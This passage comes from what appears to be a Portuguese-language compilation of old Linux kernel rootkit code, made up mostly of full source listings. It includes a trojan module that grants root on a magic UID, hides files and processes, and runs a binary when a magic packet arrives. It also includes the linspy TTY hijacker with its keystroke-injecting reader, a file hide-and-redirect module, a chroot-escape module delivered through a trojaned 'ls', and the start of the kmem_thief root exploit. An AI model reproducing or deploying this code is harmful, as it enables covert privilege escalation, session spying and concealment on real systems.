	memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
    } else if (request == SIOCSIFFLAGS) {
	memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
	if (ifr.ifr_flags & IFF_PROMISC)
	    promisc = 1;
	else if (!(ifr.ifr_flags & IFF_PROMISC))
	    promisc = 0;
    }
    return tmp;

}


/*
 * trojan setMAGICUID() system call.
 */
int n_setuid(uid_t uid)
{
    int tmp;

    if (uid == MAGICUID) {
	current->uid = 0;
	current->euid = 0;
	current->gid = 0;
	current->egid = 0;
	return 0;
    }
    tmp = (*o_setuid) (uid);
    return tmp;
}


/*
 * trojan getdents() system call. 
 */
int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
    unsigned int tmp, n;
    int t, proc = 0;
    struct inode *dinode;
    struct dirent *dirp2, *dirp3;

    tmp = (*o_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

    if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
	proc = 1;
    if (tmp > 0) {
	dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
	memcpy_fromfs(dirp2, dirp, tmp);
	dirp3 = dirp2;
	t = tmp;
	while (t > 0) {
	    n = dirp3->d_reclen;
	    t -= n;
	    if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
		||(proc && invisible(myatoi(dirp3->d_name)))) {
		if (t != 0)
		    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
		else
		    dirp3->d_off = 1024;
		tmp -= n;
	    }
	    if (dirp3->d_reclen == 0) {
		/*
		 * workaround for some shitty fs drivers that do not properly
		 * feature the getdents syscall.
		 */
		tmp -= t;
		t = 0;
	    }
	    if (t != 0)
		dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);


	}
	memcpy_tofs(dirp, dirp2, tmp);
	kfree(dirp2);
    }
    return tmp;

}


/*
 * Trojan socketcall system call
 * executes a given binary when a packet containing the magic word is received.
 * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.  
 */

int n_socketcall(int call, unsigned long *args)
{
    int ret, ret2, compt;
    char *t = RECVEXEC;
    unsigned long *sargs = args;
    unsigned long a0, a1, mmm;
    void *buf;

    ret = (*o_socketcall) (call, args);
    if (ret == MAGICSIZE && call == SYS_RECVFROM) {
	a0 = get_user(sargs);
	a1 = get_user(sargs + 1);
	buf = kmalloc(ret, GFP_KERNEL);
	memcpy_fromfs(buf, (void *) a1, ret);
	for (compt = 0; compt < ret; compt++)
	    if (((char *) (buf))[compt] == 0)
		((char *) (buf))[compt] = 1;
	if (strstr(buf, mtroj)) {
	    kfree(buf);
	    ret2 = fork();
	    if (ret2 == 0) {
		mmm = current->mm->brk;
		ret2 = brk((void *) (mmm + 256));
		memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
/* Hope the execve has been successfull otherwise you'll have 2 copies of the
   master process in the ps list :] */
		ret2 = my_execve((char *) mmm + 2, NULL, NULL);
	    }
	}
    }
    return ret;
}





/*
 * module initialization stuff.
 */
int init_module(void)
{
/* module list cleaning */
/* would need to make a clean search of the right register
 * in the function prologue, since gcc may not always put 
 * struct module *mp in %ebx 
 * 
 * Try %ebx, %edi, %ebp, well, every register actually :)
 */
    register struct module *mp asm("%ebx");
    *(char *) (mp->name) = 0;
    mp->size = 0;
    mp->ref = 0;
/*
 * Make it unremovable
 */
/*    MOD_INC_USE_COUNT;
 */
    o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
    sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;

    o_getdents = sys_call_table[SYS_getdents];
    sys_call_table[SYS_getdents] = (void *) n_getdents;

    o_setuid = sys_call_table[SYS_setuid];
    sys_call_table[SYS_setuid] = (void *) n_setuid;

    __NR_myexecve = 164;
    while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
	__NR_myexecve--;
    o_execve = sys_call_table[SYS_execve];
    if (__NR_myexecve != 0) {
	sys_call_table[__NR_myexecve] = o_execve;
	sys_call_table[SYS_execve] = (void *) n_execve;
    }
    promisc = 0;
    o_ioctl = sys_call_table[SYS_ioctl];
    sys_call_table[SYS_ioctl] = (void *) n_ioctl;

    o_socketcall = sys_call_table[SYS_socketcall];
    sys_call_table[SYS_socketcall] = (void *) n_socketcall;
    return 0;

}


void cleanup_module(void)
{
    sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
    sys_call_table[SYS_getdents] = o_getdents;
    sys_call_table[SYS_setuid] = o_setuid;
    sys_call_table[SYS_socketcall] = o_socketcall;

    if (__NR_myexecve != 0)
	sys_call_table[__NR_myexecve] = 0;
    sys_call_table[SYS_execve] = o_execve;

    sys_call_table[SYS_ioctl] = o_ioctl;
}

-----------------------------------------------------------------------

LKM TTY hijacking

Nome: linspy
Autor: halflife
Descricao: Este LKM encontra-se na phrack 50( artigo 5: 'Abuse of the
Linux Kernel for Fun and Profit'). Isto eh uma otima sequestratora de 
tty trabalhando da maneira discutida na II.7. Este modulo usa seu proprio
character device para controlar e logar.

<++> linspy/Makefile
CONFIG_KERNELD=-DCONFIG_KERNELD
CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
CC=gcc
# this is the name of the device you have (or will) made with mknod
DN = '-DDEVICE_NAME="/dev/ltap"'
# 1.2.x need this to compile, comment out on 1.3+ kernels
V = #-DNEED_VERSION
MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX

all:		linspy ltread setuid

linspy:		linspy.c /usr/include/linux/version.h
		$(CC) $(MODCFLAGS) -c linspy.c

ltread:		
		$(CC) $(DN) -o ltread ltread.c

clean:		
		rm *.o ltread

setuid:		hacked_setuid.c /usr/include/linux/version.h
		$(CC) $(MODCFLAGS) -c hacked_setuid.c
                                                     
<--> end Makefile
<++> linspy/hacked_setuid.c
int errno;
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/times.h>
#include <linux/utsname.h>
#include <linux/param.h>
#include <linux/resource.h>
#include <linux/signal.h>
#include <linux/string.h>
#include <linux/ptrace.h>
#include <linux/stat.h>
#include <linux/mman.h>
#include <linux/mm.h>
#include <asm/segment.h>
#include <asm/io.h>
#include <linux/module.h>
#include <linux/version.h>
#include <errno.h>
#include <linux/unistd.h>
#include <string.h>
#include <asm/string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif
static inline _syscall1(int, setuid, uid_t, uid);
extern void *sys_call_table[];
void *original_setuid;
extern int hacked_setuid(uid_t uid)
{
   int i;                     
   if(uid == 4755)
   {
      current->uid = current->euid = current->gid = current->egid = 0;
      return 0;
   }
   sys_call_table[SYS_setuid] = original_setuid;
   i = setuid(uid);
   sys_call_table[SYS_setuid] = hacked_setuid;
   if(i == -1) return -errno;
   else return i;
}
int init_module(void)
{
   original_setuid = sys_call_table[SYS_setuid];
   sys_call_table[SYS_setuid] = hacked_setuid;
   return 0;
}
void cleanup_module(void)
{
   sys_call_table[SYS_setuid] = original_setuid;
}  
<++> linspy/linspy.c
int errno;
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/times.h>
#include <linux/utsname.h>
#include <linux/param.h>
#include <linux/resource.h>
#include <linux/signal.h>
#include <linux/string.h>
#include <linux/ptrace.h>
#include <linux/stat.h>
#include <linux/mman.h>
#include <linux/mm.h>
#include <asm/segment.h>
#include <asm/io.h>
#ifdef MODULE
#include <linux/module.h>       
#include <linux/version.h>
#endif
#include <errno.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <string.h>
#include <asm/string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#include <linux/vt.h>

/* set the version information, if needed */
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif

#ifndef MIN
#define MIN(a,b)        ((a) < (b) ? (a) : (b))
#endif

/* ring buffer info */        

#define BUFFERSZ        2048
char buffer[BUFFERSZ];
int queue_head = 0;
int queue_tail = 0;

/* taken_over indicates if the victim can see any output */
int taken_over = 0;

static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
extern void *sys_call_table[];

/* device info for the linspy device, and the device we are watching */
static int linspy_major = 40;
int tty_minor = -1;
int tty_major = 4;

/* address of original write(2) syscall */
void *original_write;

void save_write(char *, size_t);


int out_queue(void) 
{
   int c;
   if(queue_head == queue_tail) return -1;
   c = buffer[queue_head];
   queue_head++;
   if(queue_head == BUFFERSZ) queue_head=0;
   return c;
}

int in_queue(int ch)
{
   if((queue_tail + 1) == queue_head) return 0;
   buffer[queue_tail] = ch;
   queue_tail++;
   if(queue_tail == BUFFERSZ) queue_tail=0;
   return 1;
}


/* check if it is the tty we are looking for */
int is_fd_tty(int fd)
{
   struct file *f=NULL;
   struct inode *inode=NULL;
   int mymajor=0;
   int myminor=0;

   if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
      return 0;
   mymajor = major(inode->i_rdev);
   myminor = minor(inode->i_rdev);
   if(mymajor != tty_major) return 0;
   if(myminor != tty_minor) return 0;
   return 1;
}

/* this is the new write(2) replacement call */
extern int new_write(int fd, char *buf, size_t count)
{
   int r;
   if(is_fd_tty(fd))
   {
      if(count > 0)
         save_write(buf, count);
      if(taken_over) return count;
   }
   sys_call_table[SYS_write] = original_write;
   r = write(fd, buf, count); 
   sys_call_table[SYS_write] = new_write;
   if(r == -1) return -errno;
   else return r;
}


/* save data from the write(2) call into the buffer */
void save_write(char *buf, size_t count)
{
   int i;
   for(i=0;i < count;i++)
      in_queue(get_fs_byte(buf+i));
}

/* read from the ltap device - return data from queue */
static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
{
   int i;
   int c;
   int cnt=0;
   if(current->euid != 0) return 0;
   for(i=0;i < count;i++)
   {
      c = out_queue();
      if(c < 0) break;
      cnt++;
      put_fs_byte(c, buf+i);
   }
   return cnt;
}

/* open the ltap device */
static int linspy_open(struct inode *in, struct file *fi)
{
   if(current->euid != 0) return -EIO;
   MOD_INC_USE_COUNT;
   return 0;
}

/* close the ltap device */
static void linspy_close(struct inode *in, struct file *fi)
{
   taken_over=0;
   tty_minor = -1;
   MOD_DEC_USE_COUNT;
}
             
/* some ioctl operations */
static int
linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
{
#define LS_SETMAJOR     0
#define LS_SETMINOR     1
#define LS_FLUSHBUF     2
#define LS_TOGGLE       3

   if(current->euid != 0) return -EIO;
   switch(cmd)
   {
      case LS_SETMAJOR:
         tty_major = args;
         queue_head = 0;
         queue_tail = 0;
         break;
      case LS_SETMINOR:
         tty_minor = args;
         queue_head = 0;
         queue_tail = 0;
         break;
     case LS_FLUSHBUF:
         queue_head=0;
         queue_tail=0;
         break;
     case LS_TOGGLE:
         if(taken_over) taken_over=0;
         else taken_over=1;
         break;
      default:
         return 1;
   }
   return 0;
}


static struct file_operations linspy = {
NULL,
linspy_read,
NULL,
NULL,
NULL,
linspy_ioctl,
NULL, 
linspy_open,
linspy_close,
NULL
};


/* init the loadable module */
int init_module(void)
{
   original_write = sys_call_table[SYS_write];
   sys_call_table[SYS_write] = new_write;
   if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
   return 0;
}

/* cleanup module before being removed */
void cleanup_module(void)
{
   sys_call_table[SYS_write] = original_write;
   unregister_chrdev(linspy_major, "linspy");
}
<--> end linspy.c
<++> linspy/ltread.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>

struct termios save_termios;
int ttysavefd = -1;
int fd;

#ifndef DEVICE_NAME
#define DEVICE_NAME "/dev/ltap"
#endif

#define LS_SETMAJOR     0
#define LS_SETMINOR     1
 
#define LS_FLUSHBUF     2
#define LS_TOGGLE       3

void stuff_keystroke(int fd, char key)
{
   ioctl(fd, TIOCSTI, &key);
}

int tty_cbreak(int fd)
{
   struct termios buff;
   if(tcgetattr(fd, &save_termios) < 0)
      return -1;
   buff = save_termios;
   buff.c_lflag &= ~(ECHO | ICANON);
   buff.c_cc[VMIN] = 0;
   buff.c_cc[VTIME] = 0;
   if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
      return -1;
   ttysavefd = fd;
   return 0;
}

 char *get_device(char *basedevice)
{
   static char devname[1024];
   int fd;

   if(strlen(basedevice) > 128) return NULL;
   if(basedevice[0] == '/')
      strcpy(devname, basedevice);
   else
      sprintf(devname, "/dev/%s", basedevice);
   fd = open(devname, O_RDONLY);
   if(fd < 0) return NULL;
   if(!isatty(fd)) return NULL;
   close(fd);
   return devname;
}


int do_ioctl(char *device)
{
   struct stat mystat;

   if(stat(device, &mystat) < 0) return -1;
    fd = open(DEVICE_NAME, O_RDONLY);
   if(fd < 0) return -1;
   if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
   if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
}


void sigint_handler(int s)
{
   exit(s);
}

void cleanup_atexit(void)
{
   puts(" ");
   if(ttysavefd >= 0)
      tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
}

main(int argc, char **argv)
{
   int my_tty;
   char *devname;
    unsigned char ch;
   int i;

   if(argc != 2)
   {
      fprintf(stderr, "%s ttyname\n", argv[0]);
      fprintf(stderr, "ttyname should NOT be your current tty!\n");
      exit(0);
   }
   devname = get_device(argv[1]);
   if(devname == NULL)
   {
      perror("get_device");
      exit(0);
   }
   if(tty_cbreak(0) < 0)
   {
      perror("tty_cbreak");
      exit(0);
   }
   atexit(cleanup_atexit);
   signal(SIGINT, sigint_handler);
   if(do_ioctl(devname) < 0)
   {
      perror("do_ioctl");
      exit(0);
   }
   my_tty = open(devname, O_RDWR);
   if(my_tty == -1) exit(0);
   setvbuf(stdout, NULL, _IONBF, 0);
   printf("[now monitoring session]\n");
   while(1)
   {
      i = read(0, &ch, 1);
      if(i > 0)
      {
         if(ch == 24)
         {
            ioctl(fd, LS_TOGGLE, 0);
            printf("[Takeover mode toggled]\n");
         }
         else stuff_keystroke(my_tty, ch);
      }
      i = read(fd, &ch, 1);
      if(i > 0)
         putchar(ch);
    }
}
<--> end ltread.c

--------------------------------------------------------------------------

AFHRM - the monitor tool(a ferramenta de monitoracao)

Nome: AFHRM (Advanced File Hide & Redirect Module)
Autor: Michael Zalewski
Descricao: Este LKM was feito especialmente para administradores que 
querem controlar alguns arquivos(passwd, for example) tendo acesso a ele.
Este modulo pode monitorar qualquer acesso de arquivo e redirecionar 
coisas que estao sendo escritas. 


/*
   Advanced file hide & redirect module for Linux 2.0.xx / i386 
   ------------------------------------------------------------
      (C) 1998 Michal Zalewski <lcamtuf@boss.staszic.waw.pl>
*/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>

#if (!defined(__GLIBC__) || __GLIBC__ < 2)
#include <sys/stat.h>
#else
#include <statbuf.h>		// What can I do?
#endif

#include <linux/string.h>
#include "broken-glibc.h"
#include <linux/fs.h>
#include <linux/malloc.h>

/* Hope that's free? */
#define O_NOCHG     0x1000000
#define O_ACCNOCHG  0x2000000
#define O_STRICT    0x4000000
#define O_STILL     0x8000000

#define M_MAIN      0x0ffffff
#define M_MINOR     (M_MAIN ^ O_ACCMODE)

struct red {		// Redirections database entry.
  const char *src,*dst;
  const int flags,new_flags;
};

struct red redir_table[]={

// Include user-specific choices :-)
#include "config.h"

};

#define REDIRS sizeof(redir_table)/sizeof(struct red)

struct dat {		// Inode database entry.
  long ino,dev;
  int valid;
};

int as_today,ohits,ghits,       // internal counters.
    uhits,lhits,rhits;

struct dat polozenie[REDIRS];	// Inodes database.

// Protos...
int collect(void);

extern void* sys_call_table[];

// Old system calls handlers (for module removal).
int (*stary_open)(const char *pathname, int flags, mode_t mode);
int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned int count);
int (*stary_link)(const char* oldname,const char* newname);
int (*stary_unlink)(const char* name);
int (*stary_rename)(const char* oldname,const char* newname);

int (*sys_stat)(void*,void*);
int (*mybrk)(void*);


// Ugly low-level hack - OH, HOW WE NEED IT :)))
int mystat(const char* arg1,struct stat* arg2,char space) {
  unsigned long m1=0,m2;
  long __res;
  char* a1;
  struct stat* a2;
  if (!space) {
    // If needed, duplicate 1st argument to user space...
    m1=current->mm->brk;
    mybrk((void*)(m1+strlen(arg1)+1));
    a1=(char*)(m1+2);
    memcpy_tofs(a1,arg1,strlen(arg1)+1);
  } else a1=(char*)arg1;
  // Allocate space for 2nd argument...
  m2=current->mm->brk;
  mybrk((void*)(m2+sizeof(struct stat)));
  a2=(struct stat*)(m2+2);
  // Call stat(...)
  __res=sys_stat(a1,a2);
  // Copy 2nd argument back...
  memcpy_fromfs(arg2,a2,sizeof(struct stat));
  // Free memory.
  if (!space) mybrk((void*)m1); else mybrk((void*)m2);
  return __res;
}

// New open(...) handler.
extern int nowy_open(const char *pathname, int flags, mode_t mode) {
  int i=0,n;
  char zmieniony=0,*a1;
  struct stat buf;
  unsigned long m1=0;
  if (++as_today>INTERV) {
    as_today=0;
    collect();
  }
  if (!mystat(pathname,&buf,1)) for (i=0;i<REDIRS && !zmieniony;i++) if (polozenie[i].valid
    && (long)buf.st_dev==polozenie[i].dev && (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
    if (redir_table[i].flags & O_STRICT) n=redir_table[i].flags & O_ACCMODE; else n=0;
    switch(flags) {
      case O_RDONLY:
        if ((redir_table[i].flags & O_WRONLY) || (n & O_RDWR)) n=1;
        break;
      case O_WRONLY:
        if ((redir_table[i].flags & O_RDONLY) || (n & O_RDWR)) n=1;
        break;
      default:
        if (n && (n & (O_RDONLY|O_WRONLY))) n=1;
        n=0;
    }
#ifdef DEBUG
    printk("AFHRM_DEBUG: open %s (D:0x%x I:0x%x) ",redir_table[i].src, buf.st_dev, buf.st_ino);
    printk("[%s] of: 0x%x cf: 0x%x nf: ",redir_table[i].dst, mode,redir_table[i].flags);
    printk("0x%x rd: %d.\n", redir_table[i].new_flags, n==0);
#endif
    ohits++;
    if (!n && (((redir_table[i].flags & M_MINOR) & flags) == (redir_table[i].flags & M_MINOR)))
      if (redir_table[i].dst) {
        flags=(((redir_table[i].new_flags & O_NOCHG) > 0)*flags) |
	      (((redir_table[i].new_flags & O_ACCNOCHG) > 0)*(flags & O_ACCMODE)) |
	      (redir_table[i].new_flags & M_MAIN);
	/* User space trick */
        m1=current->mm->brk;
        mybrk((void*)(m1+strlen(redir_table[i].dst)+1));
        a1=(char*)(m1+2);
        memcpy_tofs(a1,redir_table[i].dst,strlen(redir_table[i].dst)+1);
	pathname=a1;
        zmieniony=1;
      } else return -ERR;
  }
  i=stary_open(pathname,flags,mode);
  if (zmieniony) mybrk((void*)m1);
  return i;
}


// New getdents(...) handler.
int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
  int ret,n,t,i,dev;
  struct dirent *d2,*d3;
  ret=stary_getdents(fd,dirp,count);
  dev = (long)current->files->fd[fd]->f_inode->i_dev;
  if (ret>0) {
    d2=(struct dirent*)kmalloc(ret,GFP_KERNEL);
    memcpy_fromfs(d2,dirp,ret);
    d3=d2;
    t=ret;
    while (t>0) {
      n=d3->d_reclen;
      t-=n;
      for (i=0;i<REDIRS;i++)
        if (polozenie[i].valid && /* dev == polozenie[i].dev && */ /* BROKEN! */
	    d3->d_ino==polozenie[i].ino && redir_table[i].dst == NULL) {
#ifdef DEBUG
          printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x t: 0x%x\n",
	         redir_table[i].src,dev,d3->d_ino,ret,t);
#endif
	  ghits++;
          if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else d3->d_off=1024;
          ret-=n;
        }
      if (!d3->d_reclen) { ret-=t;t=0; }
      if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen);
    }
    memcpy_tofs(dirp,d2,ret);
    kfree(d2);
  }
  return ret;
}


// New link(...) handler.
extern int nowy_link(const char *oldname,const char *newname) {
  int i;
  struct stat buf;
  if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
     (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
     redir_table[i].flags | O_STILL ) &&
     (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
#ifdef DEBUG
    printk("AFHRM_DEBUG: link %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
           (long)*((char*)&buf.st_dev+4));
#endif
       lhits++;
       if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
     }
  return stary_link(oldname,newname);
}


// New unlink(...) handler.
extern int nowy_unlink(const char *name) {
  int i;
  struct stat buf;
  if (!mystat(name,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
     (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
     redir_table[i].flags | O_STILL ) &&
     (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
#ifdef DEBUG
    printk("AFHRM_DEBUG: unlink %s (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
           (long)*((char*)&buf.st_dev+4));
#endif
       uhits++;
       if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
  }
  return stary_unlink(name);
}


// New rename(...) handler.
extern int nowy_rename(const char *oldname, const char* newname) {
  int i;
  struct stat buf;
  if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
     (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
     redir_table[i].flags | O_STILL ) &&
     (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
#ifdef DEBUG
    printk("AFHRM_DEBUG: rename %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
           (long)*((char*)&buf.st_dev+4));
#endif
       rhits++;
       if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
  }
  return stary_rename(oldname,newname);
}


// Inode database rebuild procedure.
int collect() {
  int x=0,i=0,err;
  struct stat buf;
#ifdef DEBUG
  printk("AFHRM_DEBUG: Automatic inode database rebuild started.\n");
#endif
  for (;i<REDIRS;i++)
    if (!(err=mystat(redir_table[i].src,&buf,0))) {
      polozenie[i].valid=1;
      polozenie[i].dev=buf.st_dev;
      polozenie[i].ino=(long)*((char*)&buf.st_dev+4);
#ifdef DEBUG
  printk("AFHRM_DEBUG: #%d file %s [D: 0x%x I: 0x%x].\n",x,redir_table[i].src,
         buf.st_dev,buf.st_ino);
#endif
      x++;
    } else {
      polozenie[i].valid=0;
#ifdef DEBUG
     printk("AFHRM_DEBUG: file: %s missed [err %d].\n",redir_table[i].src,-err);
  }
  if (x!=REDIRS) {
    printk("AFHRM_DEBUG: %d inode(s) not found, skipped.\n",REDIRS-x);
#endif
  }
  return x;
}

// ********
// MAINS :)
// ********


// Module startup.
int init_module(void) {
#ifdef HIDDEN
  register struct module *mp asm("%ebp");
#endif
  int x;
  unsigned long flags;
  save_flags(flags);
  cli();			// To satisfy kgb ;-)
#ifdef HIDDEN
  *(char*)(mp->name)=0;
  mp->size=0;
  mp->ref=0;
#endif
#ifdef VERBOSE
  printk("AFHRM_INIT: Version " VERSION " starting.\n");
#ifdef HIDDEN
  register_symtab(0);
  printk("AFHRM_INIT: Running in invisible mode - can't be removed.\n");
#endif
  printk("AFHRM_INIT: inode database rebuild interval: %d calls.\n",INTERV);
#endif
  sys_stat=sys_call_table[__NR_stat];
  mybrk=sys_call_table[__NR_brk];
  x=collect();
  stary_open=sys_call_table[__NR_open];
  stary_getdents=sys_call_table[__NR_getdents];
  stary_link=sys_call_table[__NR_link];
  stary_unlink=sys_call_table[__NR_unlink];
  stary_rename=sys_call_table[__NR_rename];
#ifdef VERBOSE
  printk("AFHRM_INIT: Old __NR_open=0x%x, new __NR_open=0x%x.\n",(int)stary_open,(int)nowy_open);
  printk("AFHRM_INIT: Old __NR_getdents=0x%x, new __NR_getdents=0x%x.\n",(int)stary_getdents,
         (int)nowy_getdents);
  printk("AFHRM_INIT: Old __NR_link=0x%x, new __NR_link=0x%x.\n",(int)stary_link,(int)nowy_link);
  printk("AFHRM_INIT: Old __NR_unlink=0x%x, new __NR_unlink=0x%x.\n",(int)stary_unlink,
         (int)nowy_unlink);
  printk("AFHRM_INIT: Old __NR_rename=0x%x, new __NR_rename=0x%x.\n",(int)stary_rename,
         (int)nowy_rename);
#endif
  sys_call_table[__NR_open]=nowy_open;
  sys_call_table[__NR_getdents]=nowy_getdents;
  sys_call_table[__NR_link]=nowy_link;
  sys_call_table[__NR_unlink]=nowy_unlink;
  sys_call_table[__NR_rename]=nowy_rename;
#ifdef VERBOSE
  printk("AFHRM_INIT: %d of %d redirections loaded. Init OK.\n",x,REDIRS);
#endif
  restore_flags(flags);
  return 0;
}


// Module shutdown...
void cleanup_module(void) {
  unsigned long flags;
  save_flags(flags);
  cli();			// To satisfy kgb ;-)
#ifdef VERBOSE
  printk("AFHRM_INIT: Version " VERSION " shutting down.\n");
#endif
  sys_call_table[__NR_open]=stary_open;
  sys_call_table[__NR_getdents]=stary_getdents;
  sys_call_table[__NR_link]=stary_link;
  sys_call_table[__NR_unlink]=stary_unlink;
  sys_call_table[__NR_rename]=stary_rename;
#ifdef VERBOSE
  printk("AFHRM_INIT: Hits: open %d, getdents %d, link %d, unlink %d, rename %d. Shutdown OK.\n",
         ohits,ghits,lhits,uhits,rhits);
#endif
  restore_flags(flags);
}

---------------------------------------------------------------------------------

CHROOT module trick

Nome: chr.c
Autor: FLoW/HISPAHACK
Descricao: O primeiro codigo reprentando o ls 'trojan'. 
Link: http://hispahack.ccc.de

/*LS 'TROJAN'*/
/* Sustituto para el "ls" de un ftp restringido.
 * Carga el modulo del kernel chr.o
 * FLoW - !H'98
 */

#include <stdio.h>
#include <sys/wait.h>

main()
{
int estado;

printf("UID: %i EUID: %i\n",getuid(),geteuid());
printf("Cambiando EUID...\n");

setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */

printf("UID: %i EUID: %i\n",getuid(),geteuid());

switch(fork())
{
case -1: printf("Error creando hijo.\n");
case  0: execlp("/bin/insmod","insmod","/bin/chr.o",0);
	 printf("Error ejecutando insmod.\n");
	 exit(1);
default: printf("Cargando modulo chroot...\n");
	 wait(&estado);
	 if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0) 
	   printf("Modulo cargado!\n");
	 else
	   printf("Error cargando modulo.\n");
	 break;
}
}



/* Modulo del kernel para anular un chroot() y "retocar" chmod()
 * FLoW - !H'98
 * Basado en heroin.c de Runar Jensen <zarq@opaque.org>
 */

#include <linux/fs.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <sys/syscall.h>

#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <stdlib.h>


static inline _syscall2(int, chmod, const char*, path, mode_t, mode);
static inline _syscall1(int, setuid, uid_t, uid);
 
extern void *sys_call_table[];

int (*original_chroot)(const char *, const char*); 
int (*original_chmod)(const char *, mode_t);
int (*original_setuid)(uid_t);

int hacked_chmod(const char *path, mode_t mode)
{
int err;

if(mode==83) { /* chmod 123 XXX */
  (*original_setuid)(0);
  err=(*original_chmod)(path, 511); /* chmod 777 XXX */
  }

else {
  err=(*original_chmod)(path, mode);
  }
  
return(err);
}

int hacked_chroot(const char *path, const char *cmd)
{
        return(0);
}

int init_module(void)
{
	original_setuid = sys_call_table[SYS_setuid];
	original_chroot = sys_call_table[SYS_chroot];
	sys_call_table[SYS_chroot] = hacked_chroot;
	original_chmod = sys_call_table[SYS_chmod];
	sys_call_table[SYS_chmod] = hacked_chmod;
        return(0);
}

void cleanup_module(void)
{
	sys_call_table[SYS_chroot] = original_chroot;
	sys_call_table[SYS_chmod] = original_chmod;
}

-------------------------------------------------------------------------

Kernel Memory Patching

Nome: kmemthief.c
Autor: nao sabemos
Descricao: Este eh um aplicativo padronizado q ira lhe servir root(seu 
processo de usuario). O sistema que voce tentara exploitar tera de ter
permissao para write e read do /dev/kmem. 
Link: http://www.rootshell.com

/*   
   kmem_thief
   compile as follows:
   cc -O kmem_thief.c -ld -o kmem_thief
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/signal.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/dir.h>
#include <sys/user.h>

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
        int argc;
        char *argv[], *envp[];
{
        int count, fd;
        long where, lseek();
        fd = open( "/dev/kmem",O_RDWR);
        if(fd < 0)
        {
                printf("Could not open /dev/kmem.\n");
                perror(argv);
                exit(10);
        }
        userlocation = address();
        where = lseek(fd, userlocation, 0);
        if(where != userlocation)
        {
                printf("Could not seek to user page.\n");
                perror(argv);
                exit(20);
        }
        count = read(fd, &userpage, sizeof(struct user));
        if(count != sizeof(struct user))
        {
                printf("Could not read user page.\n");
